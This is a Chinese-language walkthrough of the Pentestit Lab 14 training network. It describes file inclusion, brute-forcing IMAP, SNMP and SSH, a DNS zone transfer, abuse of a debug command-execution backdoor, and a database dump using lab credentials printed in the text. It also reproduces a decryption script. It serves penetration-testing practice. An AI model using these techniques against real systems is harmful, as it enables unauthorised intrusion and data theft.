Pentestit Lab 14 Writeup/Walkthrough

Pentestit Lab 14放出来时间快一个月了,中途断断续续做了一次,因为是第一次做这个系列靶机,很多关卡难免绕弯路,部分脑洞也是感谢热心群友提醒(比如vpn关卡),在这儿从原始笔记摘出有用的信息来把过程记录下.

关卡列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Site
Mail
Vpn-1
Ns
Ad
News
Router
Terminal-1
Fpm
Java
Certificate
Password——verfify
Db
User
Dump
Git
Vpn-2
Wiki
Terminal-2
Elasticsearch
准备工作

实验室环境需要VPN接入,但国内访问困难,需要在配置文件中设置代理(OpenVPN Windows客户端也有设置代理选项).

1
2
3
4

Lab's gateways:
192.168.101.14
192.168.101.15

连接成功实验室环境后,ping测网关确认网络ok:

upload successful
建议操作环境:Windows物理机+Kali Linux虚拟机

Site

先探测下端口开放情况:

upload successful
访问80端口会重定向到site.test.lab,绑定host后访问

upload successful
从源码可以发现站点是wordpress搭建的,探测一下插件情况:

upload successful
看一下该插件历史漏洞:

upload successful
尝试默认POC利用失败,会返回一个自定义的错误页面,猜测是做了防护?但深入探测发现:

1
2
3
4

包含/etc/passwd 状态码:222
包含count_of_send.php 状态码:500
包含任意不存在文件test.aaa 状态码:404

这儿注意一下状态码,状态500应该是包含成功,222是被拦截,404是文件不存在,继续fuzz一下文件发现:

upload successful
在/etc/group发现token:

upload successful

Mail

记得上面Nmap探测结果吗?192.168.101.14还开放143端口和8080端口,143是IMAP服务,访问8080发现邮箱登录入口,猜测这儿是让登录邮箱账号.

upload successful
从site收集到四个邮箱地址: (首页三个,自定义404页面一个)

1
2
3
4
Sales Department:  [email protected]test.lab 
PR Department: [email protected]test.lab
IT Department: [email protected]test.lab
Support: [email protected]test.lab

Web登录带csrf_token

upload successful
处理起来比较麻烦,直接爆破imap服务:

upload successful
登录邮箱,未读邮件中发现token

upload successful

Java

翻邮箱,把三个文件都下载下来看

upload successful
反编译client.jar

upload successful
看程序流程,一个ssh登录操作,在这之前会处理一下密码,直接运行一下拿到登录密码:

upload successful
(BTW,该SSH登录密码就是JAVA的token,坑!!!)

Terminal-2

使用拿到的ssh账号密码登录服务器,find大法发现token:

upload successful
继续信息搜集,发现用户目录下有个.crt文件夹,下载回本地

NS

其实看到这个关卡名称时就应该能猜到是nslookup,内网出现nslookup一般就在DNS区域传送上,所以直接找DNS服务器然后利用就行.

upload successful
发现172.16.0.10、172.16.0.20两个DNS服务器

upload successful
在172.16.0.10上利用成功,并且拿到一份内网域名列表.整理一下:

upload successful

两个DC,目前我们在172.16.0.0/24,也就是DC2所处的网络,DC2域控服务器情况:

upload successful
SMB用户枚举,发现token

upload successful

VPN-2

访问vpn2.test.lab,Web根目录下存在token

upload successful

News

利用前面拿到的dev.crt和dev.key,连接另一个VPN网络(修改第一个VPN配置文件中的IP地址即可,连接时加参数–key和–cert)
探测一下172.16.50.0/24存活

upload successful

访问news,需要登录,没有其他任何提示,目录扫描无果

upload successful

尝试通用口令

upload successful

登录dev成功

upload successful
没有什么发现,尝试拿生日去爆破也没结果(后来得知需要fuzz敏感文件,任何提示都木得….)
这儿是个不常见的后缀.save比较简单的代码审计,当debug参数等于字符串dawdawgoiagi2re0,则执行参数cmd
upload successful

构造命令执行POC:

upload successful

upload successful
继续find大法!

upload successful

DB

发现上面源码审计时包含了一个DB.php文件,看一看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
class DB
{
private $DB_HOST = '172.16.40.5';
private $DB_USER = 'php-site';
private $DB_PASS = 'fqafG32rGpwvbcsof';
private $DB_NAME = 'php_site';
private $LINK;

/**
* DB constructor.
*/
public function __construct()
{
$link = new mysqli($this -> DB_HOST,$this -> DB_USER,$this -> DB_PASS,$this -> DB_NAME);
if (!$link)
{
echo 'Невозможно подключиться к базе данных
';
}
else
{
$link ->query("SET NAMES 'utf8' ");
$this -> LINK = $link;
}
}
public function isLoginCorrect($login, $password)
{

$login = $this ->LINK -> real_escape_string($login);
$query = $this -> LINK -> prepare("select password from user where login = ?");
$query->bind_param('s',$login);
$query->execute();
$result = $query->get_result();
$data = $result->fetch_assoc();
$pas = md5(md5($password));

// if (md5(md5($password)) === $data['password'])
if ($pas === $data['password'])
{
return true;
}
return false;
}
public function getAllPosts()
{
$query = $this->LINK ->query('select id from posts order by date DESC ');
$resultQuery = $query -> fetch_all();
$result = array();
foreach ($resultQuery as $row)
{
array_push($result,$row[0]);
}
if (count($result) > 0)
{
return $result;
}
return -1;
}
public function getPostByID($id)
{
require_once "Post.php";
if (!is_numeric($id)) return false;
$query = $this->LINK ->prepare('select team,author,text,date from posts where id = ?');
$query->bind_param('i',$id);
$query->execute();
$resultQuery = $query->get_result();
$data = $resultQuery->fetch_assoc();
$result = new Post($id,$data['team'],$data['date'],$data['author'],$data['text']);
return $result;
}

public function getSearch ($text)
{
$text = $this ->LINK -> real_escape_string($text);
$query = $this->LINK ->prepare('select id from posts where text like ?');
$text = "%".$text."%";
$query->bind_param('s', $text);
$query->execute();

$resultQuery = $query->get_result();


$result = array();
foreach ($resultQuery as $row)
{
array_push($result,$row['id']);
}
if (count($result) > 0)
{
return $result;
}
return -1;
}
}

拿到了数据库服务器IP\账户\密码,想办法拖数据
不登陆MySQL查询:

upload successful
最终获取token的完整POC:

1
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -D php -se "select * from other;"

upload successful

Router

观察从DNS区域传送漏洞拿到的内网域名列表和172.16.50.x这个C段的探测结果,发现172.16.50.50这个IP没有对应在内网域名上,进一步探测发现开放161端口(SNMP) ,爆破SNMP Community字符串

1
172.16.50.50 [skywalker] VyOS 1.2-rolling-201910230117

利用snmpwalk获取详细信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected]kali:~# snmpwalk -c skywalker 172.16.50.50 -v 1
iso.3.6.1.2.1.1.1.0 = STRING: "VyOS 1.2-rolling-201910230117"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.44641
iso.3.6.1.2.1.1.3.0 = Timeticks: (537483) 1:29:34.83
iso.3.6.1.2.1.1.4.0 = STRING: "root"
iso.3.6.1.2.1.1.5.0 = STRING: "J09tV3rN1wd"
iso.3.6.1.2.1.1.6.0 = STRING: "Unknown"
iso.3.6.1.2.1.1.7.0 = INTEGER: 14
iso.3.6.1.2.1.1.8.0 = Timeticks: (4) 0:00:00.04
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
...
...
User

通过SNMP发现另一个网络172.16.60.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
iso.3.6.1.2.1.2.2.1.20.3 = Counter32: 0
iso.3.6.1.2.1.2.2.1.21.1 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.21.2 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.21.3 = Gauge32: 0
iso.3.6.1.2.1.2.2.1.22.1 = OID: ccitt.0
iso.3.6.1.2.1.2.2.1.22.2 = OID: ccitt.0
iso.3.6.1.2.1.2.2.1.22.3 = OID: ccitt.0
iso.3.6.1.2.1.3.1.1.1.2.1.172.16.50.1 = INTEGER: 2
iso.3.6.1.2.1.3.1.1.1.2.1.172.16.50.11 = INTEGER: 2
iso.3.6.1.2.1.3.1.1.1.2.1.172.16.50.20 = INTEGER: 2
iso.3.6.1.2.1.3.1.1.1.3.1.172.16.60.2 = INTEGER: 3
iso.3.6.1.2.1.3.1.1.1.3.1.172.16.60.3 = INTEGER: 3
iso.3.6.1.2.1.3.1.1.1.3.1.172.16.60.4 = INTEGER: 3
iso.3.6.1.2.1.3.1.1.1.3.1.172.16.60.5 = INTEGER: 3
iso.3.6.1.2.1.3.1.1.2.2.1.172.16.50.1 = Hex-STRING: 08 00 27 FE 97 AF
iso.3.6.1.2.1.3.1.1.2.2.1.172.16.50.11 = Hex-STRING: 08 00 27 1B E6 89
iso.3.6.1.2.1.3.1.1.2.2.1.172.16.50.20 = Hex-STRING: 08 00 27 AF B6 D6
iso.3.6.1.2.1.3.1.1.2.3.1.172.16.60.2 = Hex-STRING: 08 00 27 3B 85 71
iso.3.6.1.2.1.3.1.1.2.3.1.172.16.60.3 = Hex-STRING: 08 00 27 0B 82 36
iso.3.6.1.2.1.3.1.1.2.3.1.172.16.60.4 = Hex-STRING: 08 00 27 89 9D 3E
iso.3.6.1.2.1.3.1.1.2.3.1.172.16.60.5 = Hex-STRING: 08 00 27 5A 1E 03
iso.3.6.1.2.1.3.1.1.3.2.1.172.16.50.1 = IpAddress: 172.16.50.1
iso.3.6.1.2.1.3.1.1.3.2.1.172.16.50.11 = IpAddress: 172.16.50.11
iso.3.6.1.2.1.3.1.1.3.2.1.172.16.50.20 = IpAddress: 172.16.50.20
iso.3.6.1.2.1.3.1.1.3.3.1.172.16.60.2 = IpAddress: 172.16.60.2
iso.3.6.1.2.1.3.1.1.3.3.1.172.16.60.3 = IpAddress: 172.16.60.3
iso.3.6.1.2.1.3.1.1.3.3.1.172.16.60.4 = IpAddress: 172.16.60.4
iso.3.6.1.2.1.3.1.1.3.3.1.172.16.60.5 = IpAddress: 172.16.60.5

扫描一下端口开放

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PORT   STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62

Nmap scan report for 172.16.60.3
Host is up, received user-set (0.50s latency).
Scanned at 2020-01-07 20:16:25 EST for 126s
Not shown: 999 filtered ports
Reason: 999 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62

Nmap scan report for 172.16.60.4
Host is up, received user-set (0.62s latency).
Scanned at 2020-01-07 20:16:25 EST for 129s
Not shown: 999 filtered ports
Reason: 999 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62

Nmap scan report for 172.16.60.5
Host is up, received user-set (0.58s latency).
Scanned at 2020-01-07 20:16:25 EST for 127s
Not shown: 999 filtered ports
Reason: 999 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62

仅开放ssh服务,利用之前收集到的用户名爆破一波

upload successful
同一口令可以登录这四台服务器,挨个儿翻一遍(估计作者为了增加难度,BAN了find大法,在其中一台/opt目录下发现[email protected]文件,( ╯□╰ )),继续信息收集,发现ssh密钥对,一个dump文件,全都下载回本地。(PS,作者喜欢在/opt下塞东西,从之前放token的位置可以看出来)
file命令看一下dump文件,是一个pcap数据报文文件,先strings+grep找一下token

upload successful
看样子像一个web登录请求,用wireshark继续分析改文件

Git

upload successful
对应咱们收集的域名列表,172.16.0.21是git服务器,这个登录密码应该就是Git登录账密,拿去登录成功

upload successful
查看提交记录,发现token

upload successful

Certificate

这个题目最早出现是在Mail那一关,从邮箱下载回来一个Certificate文件,当时没太懂python的Module怎么逆,群友提示先别硬刚,就放一边了,原来在仓库有源码。

`````

from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad

certif = “””
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
“””

cyphered = “””9FRznJq2IO9ubbW+MvuwEIf4oS9VlIB/H+ygdD1OZp+/q1AF1bwtHlpP7IqTUrTd”””

d = “””
PC10-a=0H
!ejkl;F97
fhNjkRc12
DFlT21K54
l(8Ee15AA
LC,$T$2I!
1JHG11T12
tJUf24D17
34e6GDHIT
“””

class AESCipher:
def init(self, key):
self.key = md5(key.encode(‘utf8’)).digest()

def encrypt(self, data):
    iv = get_random_bytes(AES.block_size)
    self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
    return b64encode(iv + self.cipher.encrypt(pad(data.encode('utf-8'), AES.block_size)))

def decrypt(self, data):
    raw = b64decode(data)
    self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size])
    return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)

def find_key(d):
d_s = d.split()
l = len(d_s) - 1
key = ‘’
for i in range(2):
key += d_s[0][i] + d_s[0][l - i]
key += d_s[l][l - i] + d_s[l][i]
return key

def inds(pos):
return pos.split(‘,’)

def puzzle_assembly(positions):
p = positions
rs = d.split()
token = ‘’
for it in p.split():
sel = inds(it)
token = ‘’.join([token, rs[int(sel[0])][int(sel[1])]])
return token

def main():
key = find_key(d)
poss = AESCipher(key).decrypt(cyphered).decode(‘utf-8’)
pwd = input(‘Please, input password:’)
passw = puzzle_assembly(poss)

if pwd == passw:
    # print ('KEY in d =', key)
    # print ('poss =', poss)
    # print ('PASSWORD =', passw)
    certificate = AESCipher(passw).decrypt(certif).decode('utf-8')
    print('Your certificate: \n%s' % (certificate))
else:
    print("Yor password is not correct!")

if name == “main“:
main()


程序逻辑也比较简单,运行后接受一个输入密码,如果和```passw```相同,则输出证书,否则退出,这儿直接把程序逻辑改一下,去掉判断,输出key和密钥  

![upload successful](/images/pasted-89.png)  
key即是这一关的token  
##### Terminal-1
既然拿到了一个ssh密钥对,那应该还是找ssh登录利用,从资产表可以看到,目前为止还剩172.16.40.0/24这个子网,直接扫22端口  

![upload successful](/images/pasted-90.png)  
果然有一个,用拿到的密钥登录  

![upload successful](/images/pasted-91.png)  
在/opt目录下发现token文件  
##### FPM
发现172.16.40.3这个IP对应admin.test.lab,只能通过172.16.40.2访问,这儿用ssh开本地socks代理来扫描172.16.40.3(网络不稳定,且速度慢),也可以直接传一个扫描工具上去扫,但需要注意一点,实验环境会隔一段时间重置,如果还没扫描完重置环境就GG,只能重来。  
探测到两个端口  

INFO[0000] tcp://172.16.40.3:9000 is alive and reachable
INFO[0000] tcp://172.16.40.3:80 is alive and reachable

```

80端口跑nginx,再加上9000端口,很容易想到fpm上来(如果关注之前漏洞发布的话应该知道这个洞,正好我复现过hhh)